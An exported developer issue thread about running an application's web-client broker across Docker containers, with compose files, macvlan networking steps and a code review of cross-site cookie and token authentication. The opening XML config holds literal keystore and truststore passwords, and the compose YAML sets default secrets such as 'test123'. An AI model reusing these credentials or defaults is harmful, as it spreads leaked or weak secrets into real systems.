that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usually https://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.

<node type="client">
  <client>
    <mode broker="true" />
  </client>

  <net>
    <server host="server" />
    <server port="3433" />
    <server secure_port="3333" />
    <connection secure="true" />
  </net>

 ..................................................................

  <access>
    <password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
    <password keystore="39jz20Ma&amp;C8A*QJynU09vh&gt;WUcKdM3z~" />
    <password keyentry="39jz20Ma&amp;C8A*QJynU09vh&gt;WUcKdM3z~"/>
<!--    <password masterkeyentry="39jz20Ma&amp;C8A*QJynU09vh&gt;WUcKdM3z~" />-->
  </access>
<!-- -Xmx512m -Djava.awt.headless=true -Duser.country=NL -Duser.language=nl -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -->
  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <spawner file="/home/sbi/opt/hotel_gui/spawn" />
    <agent host="broker"/>
    <agent user="sbi"/>
    <agent dedicatedMode="false"/>
    <!-- -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -->
    <java    args="-Xmx1G -Djava.awt.headless=true -Djava.library.path=/home/sbi/projects/hotel_gui/deploy/lib/ -Dfile.encoding=UTF-8" />
    <java    classpath="/home/sbi/projects/hotel_gui/deploy/lib/p2j.jar" />
  </remote>
</node>

Sergey Ivanovskiy wrote:

Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address server (https://server:7443/gui) must be accessible from the browser client. The second condition is
that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usually https://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.

• hotel_db / hoteldb / 172.18.0.2
• hotel_server / hotelsrv / 172.18.0.3
• hotel_broker1 / hotelbrk1 / 172.18.0.4

• hotel_broker1’s server IP address could not be found.
• hotelbrk1’s server IP address could not be found.

The IP addresses assigned are internal addresses and wouldn't be accessible from outside either. Moving this setup to be hosted on fwddev1 and accessed as https://fwddev1:7443/gui will be my next try, but I would think the configuration would be the same.

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Roger, I am not aware of your environment and the corresponding setup but there are the following conditions that should be satisfied for your environment in order to use the broker setup. The first condition is that the server virtual host given by its name/ip address server (https://server:7443/gui) must be accessible from the browser client. The second condition is
that the broker client on the broker virtual host must be able to connect the server virtual host by its name/ip address given in the broker configuration file and the broker virtual host must be accessible from the browser client by the host/ip address given in the broker configuration file, usually https://broker:7449/.
If these conditions are hold, then the broker setup is correct and workable.

This could be a challenge for the multi-container setup, even in the most simple setup where I am running all 3 containers on localhost. In this situation, the 3 container names/DNS/IPs are:

• hotel_db / hoteldb / 172.18.0.2
• hotel_server / hotelsrv / 172.18.0.3
• hotel_broker1 / hotelbrk1 / 172.18.0.4

There are 2 ways the containers can address each other: 1) by container names or 2) by assigned hostnames. I've tried both and neither can be resolved when the redirection occurs from accessing https://localhost:7443/gui.

• hotel_broker1’s server IP address could not be found.
• hotelbrk1’s server IP address could not be found.

Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.

Sergey Ivanovskiy wrote:

Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.

Well I moved the configuration to fwddev1 so now I am using https://fwddev1:7443/gui and the results are the same. The redirect is the internal network's broker name (hotelbrk1 or hotel_broker1, depends on how I setup the containers).

Sergey, remember all these internal IP addresses and names are under the same host. Ports can be exposed to the external connections via the hosting name or IP and port (so localhost on my own computer and fwddev1 on the remote computer). But between each of the containers is a special internal network using their own names that are not available externally. So FWD somehow has to translate the internal name (hotelbrk1) to something external. In this case, I'm not even sure how that would be dealt with, since it is still fwddev1, the same host.

Greg, this multi-container setup using docker compose makes little sense now that I've actually got it configured, unless there is a proxy config to fool it into working.

• Convert with 9709b command: ant deployapp archive
• Build the images... the Docker FWD images are in the repository. From the hotel project directory:
  

  ./docker/build_docker.sh -i fwd_4.0_ubuntu_24.04 -t 9709b_latest --compose --use_cache --jdk_version=jdk17 --no_prune --db_type=postgres -ld
  

• Create the volume for the database:
  

  docker volume create hotel_db_postgres
  

• Create the cluster in the database:
  

  cd docker
  docker compose -f docker-compose_create_pg_cluster.yml up
  Ctrl-C when done
  docker compose -f docker-compose_create_pg_cluster.yml down
  

• Prepare the directory
  

  CFG_FILE=prepare_dir_postgres_docker_compose.json docker compose -f docker-compose_prepare.yml up
  Ctrl-C when done
  docker compose -f docker-compose_prepare.yml down
  

• Import the database
  

  docker compose -f docker-compose_import.yml up
  Ctrl-C when done
  docker compose -f docker-compose_import.yml down
  

• Start the Broker Configuration
  

  docker compose -f docker-compose_broker.yml up
  

  
  At this point, you should be able to connect to https://localhost:7443/gui to recreate.

Roger, I have no idea, the accessibility conditions should be satisfied #9709-358 in order that the broker configuration works. I thought that it should be obvious because the web server main page just injects the web client page from the different web site so all these virtual hosts and the Chrome client host must be in the same network or can be accessible. This is the requirement.

Roger Borrello wrote:

Sergey, revision 421 of Hotel GUI allows you to configure the docker compose very easily. The steps would be:

• Convert with 9709b command: ant deployapp archive
• Build the images... the Docker FWD images are in the repository. From the hotel project directory:
  [...]
• Create the volume for the database:
  [...]
• Create the cluster in the database:
  [...]
• Prepare the directory
  [...]
• Import the database
  [...]
• Start the Broker Configuration
  [...]
  At this point, you should be able to connect to https://localhost:7443/gui to recreate.

I will check this later. The only idea is to use dedicatedMode = true. It should generate url like this one https://localhost:7449?...

Greg, Hynek, from the Single_Sign_On documentation

Auto-login can be configured by overriding the two default methods in the interface: getAuthCookieName (a non-null value expected) and Result authenticate(Cookie[] cookies, LicensingData licensingData).

From #10809-50:
Sergey Ivanovskiy wrote:

Do you have ideas how to overcome usages of LAX cookies with cross-site web client? This is exactly the broker setup case when the web client is running on the different host than the server host. This is the most severe issue with the current code.

Sergey, I do not understand this. Even if the FWD client runs on a different machine, I assume there will be some reverse-proxy which will allow the user to use the same URL; so the cookie will still be on example.com, just that it will be redirected to that machine. Otherwise, please detail more what you mean here.

Constantin Asofiei wrote:

From #10809-50:
Sergey Ivanovskiy wrote:

Do you have ideas how to overcome usages of LAX cookies with cross-site web client? This is exactly the broker setup case when the web client is running on the different host than the server host. This is the most severe issue with the current code.

Sergey, I do not understand this. Even if the FWD client runs on a different machine, I assume there will be some reverse-proxy which will allow the user to use the same URL; so the cookie will still be on example.com, just that it will be redirected to that machine. Otherwise, please detail more what you mean here.

I meant the broker client setup without the external proxy server. In this case the broker starts the web client on the different host than the main web server host. I agree that the reverse proxy server should help in this case. Please look at the discussion from #9709-272 to #9709-283 and #9709-287.

Sergey, please create a diagram how the infrastructure will look when deploying FWD with brokers.

• FWD server runs on host example.com
• you use https://example.com/ to login
• after that you get redirected to the broker's host which can be anything beside example.com (even example.com:8443 is another host in terms of cookies)

Without a reverse proxy, wouldn't this require management of real certificates for each broker host, expose the broker machine to the internet, etc? Also, lets assume in the future we want to add some automatic load-balancing of broker machines (to start/stop them on demand) - how can this be handled without a reverse proxy?

Constantin, #9709-277 the second option can be used.

Sergey Ivanovskiy wrote:

Constantin, #9709-277 the second option can be used.

I understand, but this is not just about cookies - is about how a production deployment will work with the brokers and FWD clients running on different hosts. What URLs will the end-user's browser see?

Constantin Asofiei wrote:

Sergey Ivanovskiy wrote:

Constantin, #9709-277 the second option can be used.

I understand, but this is not just about cookies - is about how a production deployment will work with the brokers and FWD clients running on different hosts. What URLs will the end-user's browser see?

Yes, I agree with your point. One of the deployment environment can be the reverse proxy server in front of the FWD server and broker clients.

Sergey Ivanovskiy wrote:

I will check this later. The only idea is to use dedicatedMode = true. It should generate url like this one https://localhost:7449?...

Interesting... I set the dedicatedMode to true. What I saw was URL was created as you said, but the browser could not connect. So I moved the port opening in the compose YAML from the hotel_server service to the hotel_broker1 service:

 hotel_broker1:
    image: hotel_gui_client:latest
    container_name: hotel_broker1
    hostname: hotelbrk1
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker${BROKER:-1}_client.xml"'
    ports:
      - 7449-7459:7449-7459
    volumes:
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ${SEC_DIR:-../deploy/security}:/opt/hotel/security
      - ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
    depends_on:
      hotel_server:
        condition: service_healthy

It is even more confusing now that I have it working :-(

Why do you use https://localhost:7443/? You should use the server address and please check these conditions, all hosts should be accessible from the host on which these containers are run. Please take into account #9709-358. There is no mystics here. The web client url and the server url must be accessible from the host on which the browser client (Chrome) is running.

Well I moved the configuration to fwddev1 so now I am using https://fwddev1:7443/gui and the results are the same. The redirect is the internal network's broker name (hotelbrk1 or hotel_broker1, depends on how I setup the containers).

Sergey is completely right that:

1. The FWD server container AND all the FWD client containers (i.e. the brokers) must be externally visible on the network. This means that access just within a single host is not OK. If there are routing or firewall issues, you must solve those issues.

2. It should not matter if this is setup on one or multiple systems. Likewise, bare metal hosts or VM hosts do not matter. If the solution is dependent upon specific configurations, that is not OK and you must solve those issues.

3. The IP addresses of the containers should be mapped to names via DNS or the hosts file, just like any other networking environment. Make sure that the names are visible to any system on which you run the browser.

Sergey, remember all these internal IP addresses and names are under the same host. Ports can be exposed to the external connections via the hosting name or IP and port (so localhost on my own computer and fwddev1 on the remote computer). But between each of the containers is a special internal network using their own names that are not available externally.

This is not OK.

So FWD somehow has to translate the internal name (hotelbrk1) to something external. In this case, I'm not even sure how that would be dealt with, since it is still fwddev1, the same host.

Greg, this multi-container setup using docker compose makes little sense now that I've actually got it configured, unless there is a proxy config to fool it into working.

In production, orchestration tools like Kubernetes will be used in preference to Docker Compose. But surely Docker Compose can simulate the startup for multiple containers that are EXTERNALLY VISIBLE. This is a basic requirement that even Docker Compose must support.

Prepare the directory

CFG_FILE=prepare_dir_postgres_docker_compose.json docker compose -f docker-compose_prepare.yml up
Ctrl-C when done
docker compose -f docker-compose_prepare.yml down

Do we really need to use compose to prepare the directory? That is surprising.

Constantin: I agree that reverse proxy will be commonly used and often chosen. But I don't want to require reverse proxy for multi-container/broker support. Reverse proxy brings extra runtime communicaation overhead, extra configuration and more software running. It is useful for many production environments but is not something that we always want.

Greg Shah wrote:

Prepare the directory

[...]

Do we really need to use compose to prepare the directory? That is surprising.

No, Greg. We can do it either way. It just provides a much more flexible interface without a lot of script. The YAML is:

  hotel_preparer:
    image: hotel_gui_server:latest
    container_name: hotel_preparer
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel /opt/hotel/etc/${CFG_FILE:-prepare_dir.json}"'
    volumes:
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ./repo/entrypoint/docker-entrypoint_prepare.sh:/opt/hotel/docker/docker-entrypoint.sh
    environment: 
      ADMIN_CONSOLE_PASSWORD: ${ADMIN_CONSOLE_PASSWORD:-test123}
      APP_DBUSER_PASSWORD: ${APP_DBUSER_PASSWORD:-user}

bash please.

Something else to consider: if the iframe is served directly by the broker host, then each broker will require its own webcertificate.

Why it cannot use the main web server certificate?

Sergey Ivanovskiy wrote:

Why it cannot use the main web server certificate?

It will work, but we will need to document that the single webcertificate must match all the hosts for all brokers used.

This committed revision 16373 (9709b) was tested with one of the customers large application, found issues related to the custom html menu. It needs to add applications path from the html browser white list that is not implemented by AuthHandler logic at this moment.

Greg Shah wrote:

In production, orchestration tools like Kubernetes will be used in preference to Docker Compose. But surely Docker Compose can simulate the startup for multiple containers that are EXTERNALLY VISIBLE. This is a basic requirement that even Docker Compose must support.

Let's backup and avoid the use case where broker and server are on the same system. The spread out configuration is working. The server container is visible to the web browser via port <host>:7443. The host of the container knows how to route via that port.

The database container is visible to the server container via the JDBC URL, which is built using the port and database container name. This URL can use an external name instead of container name, if the DB container is running on another computer.

The server is visible to the broker (at least the first one) via port 3333 when I use the host name, even when running in a container. It's only when we have to use container names or container hostnames that we have troubles. The redirect name cannot be resolved when returned to the web browser by the embedded Docker DNS.

In this use case of a single system (fwddev1), I've tried using fwddev1 for both the values in the broker1_client.xml, and it doesn't work with connection refused whether dedicated is true or false. If it is on my laptop and everything is localhost, it does work. That's the only time I've seen it work.

So it is working better spread across VMs than trying to compact it into a single system.

The server is visible to the broker (at least the first one) via port 3333 when I use the host name, even when running in a container. It's only when we have to use container names or container hostnames that we have troubles. The redirect name cannot be resolved when returned to the web browser by the embedded Docker DNS.

Redirect url is built by the web client spawner, not by DNS service.

In this use case of a single system (fwddev1), I've tried using fwddev1 for both the values in the broker1_client.xml, and it doesn't work with connection refused whether dedicated is true or false. If it is on my laptop and everything is localhost, it does work. That's the only time I've seen it work.

Dedicated mode just makes web client url to start with https://localhost: and no more!

As stated previously, we must not base our networking on the concept that the containers will be accessible from the host's name or IP. That idea of exposing specific containers as a port on the host is NOT OK.

• It does not scale. If I want to have 5 FWD server containers running on the same host, it just can't work.
• It is not amenable to a flexible implementation where we locate the containers arbitrarily across some set of systems.

When I see references to fwddev1 in your posts, it very much seems like you are trying to map the containers into the host's ports. That is no bueno.

For this to work, every container has its own IP address which must be externally accessible on the network outside of the docker host. It should be in the externally available DNS where the browser can see it or in a hosts file where the browser can see it.

To be clear: these are the things that must be visible externally:

• FWD server's IP address and Jetty port
• FWD client container (a.k.a. broker) IP address and the associated Jetty port range for the FWD clients

Everything else is internally connecting. But essentially, external communication to the virtual network for Docker must be completely working.

Committed revision 16374(9709b) improved the web token validation logic in order to generate web token on the java web client side. Continue working on AuthHandler logic for the web browse white list.

What do we need to do to finish this work and help get this into trunk sometime next week?

Greg Shah wrote:

What do we need to do to finish this work and help get this into trunk sometime next week?

It needs a solution of how to replace authentication cookies that used for auto login and another scenarios. Could we use web storage for this? I asked for help in this thread, for an example #9709-365. The other cases related to openMimeResource and Html browse widget usages should be fixed today - these cases do not add problems on this way.

Greg, could 9709b be reviewed at this stage because during the review these problems could be solved.

localStorage and sessionStorage with the authentication header is not recommended approach but using secret key we can encrypt the web token value that can be used instead of authentication cookies. It seems for our cross-site web page we have no another ways?

I also tried to set response headers like these Access-Control-Allow-Credentials and Access-Control-Allow-Origin with the secure cookies and SameSite = Strict but did not succeed. The Chrome rejected to set this cookie. May be I missed additional header that should be provided for the client on this way?

Committed rev 16375 (9709b). This is what is possible to do with the current cross-site web client page and dynamic html pages that used by the large customer project, for example custom menu, based on dynamic html.
Please evaluate this approach, the security issues are partly solved.

Greg Shah wrote:

To be clear: these are the things that must be visible externally:

• FWD server's IP address and Jetty port
• FWD client container (a.k.a. broker) IP address and the associated Jetty port range for the FWD clients

Everything else is internally connecting. But essentially, external communication to the virtual network for Docker must be completely working.

The typical Docker network is bridged. I am learning about doing things like macvlan (or ipvlan) so you can have:

192.168.1.241   → fwddev1 (docker host)
192.168.2.50    → hoteldb (container)
192.168.2.51    → hotelsrv1 (container)
192.168.2.52    → hotelbrk1 (container)

No port mapping, no NAT, and each container has its own IP and DNS identity. This is what you are talking about, correct?

No port mapping, no NAT, and each container has its own IP and DNS identity. This is what you are talking about, correct?

Yes

Committed rev 16378 (9709b) fixed and tested MSG_ALLOCATE_NEW_WEB_TOKEN.

Greg Shah wrote:

No port mapping, no NAT, and each container has its own IP and DNS identity. This is what you are talking about, correct?

Yes

I did find some docs in https://docs.docker.com/engine/network/drivers/. When I asked the Docker AI when to use one or the other of macvlan or ipvlan, it answered:

You should consider using the macvlan or ipvlan network drivers in Docker Compose when you have specific networking requirements that aren't met by the default bridge or overlay drivers. Here’s when each is appropriate:

• You need each container to appear as a unique physical device on your network, each with its own MAC address.
• You are dealing with legacy applications or network monitoring tools that expect direct access to the physical network.
• You want containers to be directly accessible from the external network, as if they were physical hosts.

• You want similar direct network access as macvlan, but your environment restricts the number of MAC addresses per physical interface (for example, some cloud providers or network switches).
• You want to reduce the number of MAC addresses on your network, since ipvlan containers share the parent interface’s MAC address.
• You need more control over IPv4/IPv6 addressing and possibly VLAN tagging or L3 routing.

• macvlan assigns a unique MAC address to each container, making them appear as separate devices on the network.
• ipvlan shares the parent interface’s MAC address among containers, reducing MAC address usage and avoiding issues with MAC address limits.

• Both drivers require Linux hosts and are not supported on Docker Desktop for Mac/Windows.
• Most cloud providers block macvlan networking.
• Containers on macvlan or ipvlan networks cannot communicate directly with the Docker host by default.
• Use these drivers if you need containers to be on the same Layer 2 network as your physical hosts, or if you need advanced VLAN or routing features.

For most applications, the default bridge or overlay networks are sufficient. Use macvlan or ipvlan only when you have specific requirements as described above.

Sources:
https://docs.docker.com/engine/network/drivers/macvlan/
https://docs.docker.com/engine/network/drivers/ipvlan/

It is also possible to dedicate a host to a specific container, which would simplify configuration to the default bridge, and allow for the benefits of a docker container, and reduce complexities greatly.

Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?

Greg, I have a configuration that is a self-contained now. It does require some additional network updates per the macvlan addition mentioned above. I will outline here.

In order to allow my containers to be accessed directly, I created a macvlan via:

docker network create -d macvlan --subnet=192.168.2.0/24 --gateway=192.168.2.1 -o parent=eth1 corp_lan

Show the all-in-one yamlShow the all-in-one yaml

services:

  hotel_db:
    image: hotel_gui_postgres:latest
    stop_grace_period: 30s
    container_name: hotel_db
    hostname: hoteldb
    command: >
      bash -c " 
        cd /tmp &&
        sudo /docker-entrypoint-initdb.d/init-db.sh /pgdata/fwdcluster postgres &&
        exec sudo startup_pg.sh
      " 
    volumes:
      - hotel_db_postgres:/pgdata:delegated
    environment:
      PGDATA: ${PGDATA:-/pgdata/fwdcluster}
      PGPORT: ${PGPORT:-5432}
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -h localhost -p 5432"]
      interval: 5s
      timeout: 15s
      retries: 10
    networks:
      corp_lan:
        ipv4_address: 192.168.2.50

  hotel_server:
    image: hotel_gui_server:latest
    container_name: hotel_server
    hostname: hotelsrv
    # The bash options to the -x are handled differently, so if debug is desired, choose the first command.
    #command: ['bash','-x', '/opt/hotel/docker/docker-entrypoint.sh', 'hotel', 'postgres']
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel postgres"'
    volumes:
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
    environment:
      START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'
    depends_on:
      hotel_db:
        condition: service_healthy
    healthcheck:
      test: ["CMD-SHELL", "cd /opt/hotel/server && ./server.sh -s"]
      interval: 5s
      timeout: 15s
      retries: 10
    networks:
      corp_lan:
        ipv4_address: 192.168.2.51

  hotel_broker1:
    image: hotel_gui_client:latest
    container_name: hotel_broker1
    hostname: hotelbrk1
    # The bash options to the -x are handled differently, so if debug is desired, choose the first command.
    #command: ['bash','-x', '/opt/hotel/docker/docker-entrypoint.sh']
    command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker1_client.xml"'
    volumes:
      - ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
      - ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
      - ${SEC_DIR:-../deploy/security}:/opt/hotel/security
      - ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
    depends_on:
      hotel_server:
        condition: service_healthy
    networks:
      corp_lan:
        ipv4_address: 192.168.2.52

volumes:
  hotel_db_postgres:
    external: true

networks:
  corp_lan:
    external: true

I also had to create proper routing on my laptop, because as mentioned, the macvlan is created isolated from the host. I did this with:

sudo ip link add corp_lan_host link enp0s31f6 type macvlan mode bridge
sudo ip addr add 192.168.2.10/24 dev corp_lan_host
sudo ip link set corp_lan_host up

Now I was able to configure the directory with hotelsrv as the embedded server. Then I could update my laptop's /etc/hosts with the below to match up with the hosts defined in the compose yaml:

192.168.2.50 hoteldb
192.168.2.51 hotelsrv
192.168.2.52 hotelbrk1

This would allow me to access the server container from my laptop as https://hotelsrv:7443/gui. The broker setup also allowed me to use names with the hosts file setup. I just had to go through the https://hotelbrk1:7449/index.html?token=f9922cd26f9b773a1a1a57e944ff6a96 allowances again.

Roger Borrello wrote:

Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?

You can use the last version of 9709b rev 16379. I tested with the large customer application and hotel gui. The last changes are to use Base64 URL-safe encoding and to add missed java docs and entries.

I have not fixed yet the test keyboard handler and not tested upload files handler. Thus in these parts can be changes.

Code review 9709b.

I have some comments to address in the changes, but my biggest concern is the api token management.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

If I remember correctly the original problem was that since the inner frame and the outer frame have different origins, the outer frame can't establish a secure session cookie. Please correct me if I'm wrong. Why not to establish the secure cookie by the Java driver itself (the one serving the client)? And then making sure all the resource requests (css, img, js, etc.) go to FWD client and not to FWD server?

Hynek Cihlar wrote:

Code review 9709b.

I have some comments to address in the changes, but my biggest concern is the api token management.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

I used ASM/GSM/NoPadding encoding schema and all web token keys are public and should be used only one time in request. The secret key is delivered via the web socket on MSG_CLIENT_READY. The web token in index.html is not needed 'apiToken' and I should remove this from the index.html template. This is the first idea that does not work but the code is in not removed yet:

            p2j.init({
               'isGui'     : ${isGui},
               'isSso'     : ${isSso},
               'token'     : new URLSearchParams(window.location.search).get('token'),
               'apiToken'  : {'apiTokenName' : '${apiTokenName}', 'apiTokenValue' : '${apiTokenValue}'},

If I remember correctly the original problem was that since the inner frame and the outer frame have different origins, the outer frame can't establish a secure session cookie. Please correct me if I'm wrong. Why not to establish the secure cookie by the Java driver itself (the one serving the client)? And then making sure all the resource requests (css, img, js, etc.) go to FWD client and not to FWD server?

The current cookie is served by AuthHandler that is part of the web client code. Correct? What do you mean by the Java driver itself?

Hynek Cihlar wrote:

Code review 9709b.

I have some comments to address in the changes, but my biggest concern is the api token management.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.

The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9R

Sergey Ivanovskiy wrote:

Hynek Cihlar wrote:

Code review 9709b.

I have some comments to address in the changes, but my biggest concern is the api token management.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.

Secure session cookie is a one-time thing (for the duration of the session), whereas the secret key is static. Once revealed, it can be used forever (until changed by the admin).

Sergey Ivanovskiy wrote:

The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9R

Sorry, can you please remind why was the secure session cookie replaced in the first place? I want to be sure I'm on the right track here. Thanks.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

Hynek Cihlar wrote:

Code review 9709b.

I have some comments to address in the changes, but my biggest concern is the api token management.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

You just killed your idea by yourself because the secure cookie can be view by the developer tools. We should consider the existing web attacks and recommendations to overcome them.

Secure session cookie is a one-time thing (for the duration of the session), whereas the secret key is static. Once revealed, it can be used forever (until changed by the admin).

I used the session secret key, you should be see it from the code.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

The only web authentication method that is available for the customer that uses the dynamic web pages is the secure cookie authentication except the custom dynamic pages will use the provided authentication tokens.
I would propose to make two methods if the web client is started in the local environment on the same host or using the external web proxy, then the web authentication is done by the secure cookie, otherwise the web authentication is web tokens. The web tokens authentication requires that the client sends authentication web tokens with each requests.
Web authentication methods except the secure cookies are
https://share.google/aimode/FRj6RlyMusc4xMo9R

Sorry, can you please remind why was the secure session cookie replaced in the first place? I want to be sure I'm on the right track here. Thanks.

Please revisit #9709-289.

Sergey Ivanovskiy wrote:

Please revisit #9709-289.

Yes, thanks. This is the SameSite policy on the cookie in the response what causes the trouble since the ip address of the top page is different from the main-iframe iframe src.

I see two options.

1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.

• The auth token must be short-lived (couple of minutes most) and should be refreshed via the top-page.
• Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.
• The auth token stored only in memory and never persisted.
• Employ Content Security Policy (CSP) to make the XSS less likely (to secure the auth token). Something like:
  

  Content-Security-Policy:
    default-src 'none';
    script-src 'self' 'nonce-{RANDOM}';
    style-src 'self';
    img-src 'self' data:;
    connect-src 'self';
    font-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors https://ipA:portA;
    require-trusted-types-for 'script';
  

Greg, Constantin, please comment.

I still do not understand why we should use postMessage, the web tokens can be generated as it is implemented in 9709b. You did not do a review of 9709b.

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

Sergey, am I able to test with the very latest revision of 9709b? Or do I need to stay with 16336?

You can use the last version of 9709b rev 16379. I tested with the large customer application and hotel gui. The last changes are to use Base64 URL-safe encoding and to add missed java docs and entries.

Thanks... quick question. If I want to test my customer application with brokers, I need to use 9709b correct? What is the latest rebase trunk revision?

Yes, 9709b rev 16379 and the latest rebase trunk rev 16353.

Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.

This is difficult to do for the large customer application because these paths are not known to the server and resolved via the white list, correct?

Sergey Ivanovskiy wrote:

I still do not understand why we should use postMessage, the web tokens can be generated as it is implemented in 9709b. You did not do a review of 9709b.

The requirement to have the top frame provide the auth token for the inner iframe comes from the idea of the short-lived auth token. Then the only reliable channel to refresh a short lived token is the top frame (with the samesite secure session cookie). Otherwise how would you reconnect a temporarily disconnected session?

Sergey Ivanovskiy wrote:

Static resources (img, css, js) would either be public (they are public anyway), or fetched via authenticated XHR/fetch and injected, since browser resource loading cannot attach auth headers.

This is difficult to do for the large customer application because these paths are not known to the server and resolved via the white list, correct?

The needed resources could be white-listed at the resource handler on the client's web server.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

I still do not understand why we should use postMessage, the web tokens can be generated as it is implemented in 9709b. You did not do a review of 9709b.

The requirement to have the top frame provide the auth token for the inner iframe comes from the idea of the short-lived auth token. Then the only reliable channel to refresh a short lived token is the top frame (with the samesite secure session cookie). Otherwise how would you reconnect a temporarily disconnected session?

I have an idea but did not realize this one. In 9709b we have MSG_ALLOCATE_NEW_WEB_TOKEN that can preallocate new sequence numbers on the java web client for an example a pool of numbers that can be used on the js client to create one time leave authentication token. I did it for Test Keyboards handler. I should note that your proposals for static resources are very needed for 9709b. I need help and proposals here.

When the JS client is initialized, it received an unencrypted decryption key from Java client to decrypt the api token. This is a major security concern. It is like sending a locked safe through the mail (secure transport/HTTPS) but taping the key to the front of the safe. Note that while the transport may be safe, the endpoints are not. Once the key reaches the Javascript context, it is visible to the user (via DevTools/Debugger), malicious browser extensions, cross-site scripting (XSS) attacks.

We can't move ahead with this design.

I see two options.

1. Reverse proxy to have both the top and the inner iframe be served by the same server and keep the SameSite session cookie. This is the most secure solution and doesn't require any code changes.

